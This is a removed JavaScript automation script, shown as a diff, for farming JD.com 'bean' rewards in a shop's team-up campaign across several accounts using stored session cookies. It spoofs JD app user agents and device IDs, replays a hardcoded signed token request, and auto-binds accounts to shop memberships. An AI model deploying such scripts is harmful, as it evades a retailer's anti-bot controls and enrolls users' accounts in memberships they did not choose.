? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let cookiesArr = [], cookie = '', message = ''; -let ownCode = null; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - let cookiesData = $.getdata('CookiesJD') || "[]"; - cookiesData = JSON.parse(cookiesData); - cookiesArr = cookiesData.map(item => item.cookie); - cookiesArr.reverse(); - cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); - cookiesArr.reverse(); - cookiesArr = cookiesArr.filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - console.log(`若之前做过该活动,则无法重复入队。\n入口:\nhttps://lzkjdz-isv.isvjcloud.com/pool/captain/725732?activityId=9a1508ec3d2549dfa8187dcbfd590a34&signUuid=5e5d87e47a8a4f8ab2656e2ce879dc00`) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i] - originCookie = cookiesArr[i] - newCookie = '' - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - await checkCookie(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - authorCodeList = [''] - $.bean = 0; - $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); - $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - // $.authorCode = authorCodeList[random(0, authorCodeList.length)] - $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] - $.authorNum = `${random(1000000, 9999999)}` - $.activityId = '9a1508ec3d2549dfa8187dcbfd590a34' - $.activityShopId = '1000001879' - $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/pool/captain/${$.authorNum}?activityId=${$.activityId}&signUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=null&shopid=${$.activityShopId}&lng=00.000000&lat=00.000000&sid=&un_area=` - await mt(); - await $.wait(3000) - if ($.bean > 0) { - message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` - } - } - } - if (message !== '') { - if ($.isNode()) { - await notify.sendNotify($.name, message, '', `\n`); - } else { - $.msg($.name, '有点儿收获', message); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - - -async function mt() { - $.token = null; - $.secretPin = null; - $.openCardActivityId = null - await getFirstLZCK() - await getToken(); - await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) - await $.wait(2000) - if ($.token) { - await getMyPing(); - if ($.secretPin) { - console.log('去助力 -> ' + $.authorCode); - await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); - await $.wait(2000) - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`) - await getShopOpenCardInfo({ "venderId": "1000001879", "channel": 401 }, 1000001879) - await bindWithVender({ "venderId": "1000001879", "shopId": "1000001879", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 100000000000085) - if ($.activityContent) { - console.log($.activityContent.canJoin) - if ($.activityContent.canJoin) { - $.log("加入队伍成功,请等待队长瓜分京豆") - await $.wait(2000) - await task('saveCandidate', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - $.log("加入会员") - if (!$.activityContent.openCard) { - $.log("加入会员") - await $.wait(2000) - await getShopOpenCardInfo({ "venderId": "1000001879", "channel": 401 }, 1000001879) - await bindWithVender({ "venderId": "1000001879", "shopId": "1000001879", "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": 3282318, "channel": 401 }, 100000000000085) - } - await $.wait(2000) - await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&signUuid=${encodeURIComponent($.authorCode)}`, 0, 1) - await $.wait(2000) - if ($.index === 1) { - if ($.activityContent.canCreate) { - $.log("创建队伍") - await $.wait(2000) - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } - } - } else { - if ($.index === 1) { - $.log("创建队伍") - if ($.activityContent.canCreate) { - await $.wait(2000) - await task('saveCaptain', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=${encodeURIComponent(`https://img10.360buyimg.com/imgzone/jfs/t1/21383/2/6633/3879/5c5138d8E0967ccf2/91da57c5e2166005.jpg`)}`) - } else { - $.log("你已经是队长了") - ownCode = $.activityContent.signUuid - console.log(ownCode) - } - } else { - $.log("无法加入队伍") - } - // await $.wait(2000) - } - } - } else { - $.log("没有成功获取到用户信息") - } - } else { - $.log("没有成功获取到用户鉴权信息") - } -} - -function task(function_id, body, isCommon = 0) { - return new Promise(resolve => { - $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - - if (data) { - data = JSON.parse(data); - if (data.result) { - switch (function_id) { - case 'saveCaptain': - if (data.data.signUuid) { - $.log("创建队伍成功") - if($.index === 1){ - ownCode = data.data.signUuid; - } - } - break; - case 'dz/common/getSimpleActInfoVo': - $.jdActivityId = data.data.jdActivityId; - $.venderId = data.data.venderId; - break; - case 'wxActionCommon/getUserInfo': - $.nickname = data.data.nickname - $.pinImg = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - break; - case 'activityContent': - // console.log(data.data) - $.activityContent = data.data; - if($.index === 1){ - ownCode = data.data.signUuid; - } - // $.actorUuid = data.data.signUuid; - // console.log(data.data.successRetList) - // for (const vo of data.data.successRetList) { - // if (!vo.sendStatus && vo.canSend) { - // // console.log(vo) - // await task('updateCaptain', `uuid=${vo.memberList[0].captainId}`) - // await $.wait(3000) - // } - // } - break; - case 'updateCaptain': - console.log(data.data) - - break - default: - // $.log(JSON.stringify(data)) - break; - } - } else { - $.log(JSON.stringify(data)) - } - } else { - // $.log("京东没有返回数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function getShopOpenCardInfo(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - if (res.success) { - if (res.result.interestsRuleList) { - $.openCardActivityId = res.result.interestsRuleList[0].interestsInfo.activityId; - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function bindWithVender(body, venderId) { - let opt = { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body=${encodeURIComponent(JSON.stringify(body))}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - Host: 'api.m.jd.com', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - 'Accept-Language': 'zh-cn', - Referer: `https://shopmember.m.jd.com/shopcard/?venderId=${venderId}}&channel=7014&returnUrl=${encodeURIComponent($.activityUrl)}`, - 'Accept-Encoding': 'gzip, deflate, br' - } - } - return new Promise(resolve => { - $.get(opt, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - res = JSON.parse(data) - // if (res.success) { - // if (res.result.giftInfo && res.result.giftInfo.giftList) { - // for (const vo of res.result.giftInfo.giftList) { - // if (vo.prizeType === 4) { - // $.log(`==>获得【${vo.quantity}】京豆`) - // $.bean += vo.quantity - // } - // } - // } - // } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - - }) -} -function taskUrl(function_id, body, isCommon) { - return { - url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/pool/${function_id}`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.comm', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie - }, - body: body - - } -} - -function getMyPing() { - let opt = { - url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, - headers: { - Host: 'lzkjdz-isv.isvjcloud.com', - Accept: 'application/json', - 'X-Requested-With': 'XMLHttpRequest', - 'Accept-Language': 'zh-cn', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': 'application/x-www-form-urlencoded', - Origin: 'https://lzkjdz-isv.isvjcloud.com', - 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, - Connection: 'keep-alive', - Referer: $.activityUrl, - Cookie: cookie, - }, - body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (data) { - data = JSON.parse(data) - if (data.result) { - $.log(`你好:${data.data.nickname}`) - $.pin = data.data.nickname; - $.secretPin = data.data.secretPin; - cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` - } else { - $.log(data.errorMessage) - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - - }) - }) -} -function getFirstLZCK() { - return new Promise(resolve => { - $.get({ url: $.activityUrl }, (err, resp, data) => { - try { - if (err) { - console.log(err) - } else { - if (resp['headers']['set-cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - if (resp['headers']['Set-Cookie']) { - cookie = `${originCookie}` - if ($.isNode()) { - for (let sk of resp['headers']['set-cookie']) { - cookie = `${cookie}${sk.split(";")[0]};` - } - } else { - for (let ck of resp['headers']['Set-Cookie'].split(',')) { - cookie = `${cookie}${ck.split(";")[0]};` - } - } - } - } - } catch (error) { - console.log(error) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - let opt = { - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - headers: { - Host: 'api.m.jd.com', - 'Content-Type': 'application/x-www-form-urlencoded', - Accept: '*/*', - Connection: 'keep-alive', - Cookie: cookie, - 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1', - 'Accept-Encoding': 'gzip, deflate, br', - }, - body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` - } - return new Promise(resolve => { - $.post(opt, (err, resp, data) => { - try { - if (err) { - $.log(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === "0") { - $.token = data.token - } - } else { - $.log("京东返回了空数据") - } - } - } catch (error) { - $.log(error) - } finally { - resolve(); - } - }) - }) -} -function random(min, max) { - - return Math.floor(Math.random() * (max - min)) + min; - -} -function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { - return format.replace(/[xy]/g, function (c) { - var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); - if (UpperCase) { - uuid = v.toString(36).toUpperCase(); - } else { - uuid = v.toString(36) - } - return uuid; - }); -} -function checkCookie() { - const options = { - url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", - headers: { - "Host": "me-api.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br", - } - }; - return new Promise(resolve => { - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data.retcode === "1001") { - $.isLogin = false; //cookie过期 - return; - } - if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - $.log('京东返回了空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -// prettier-ignore -!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; 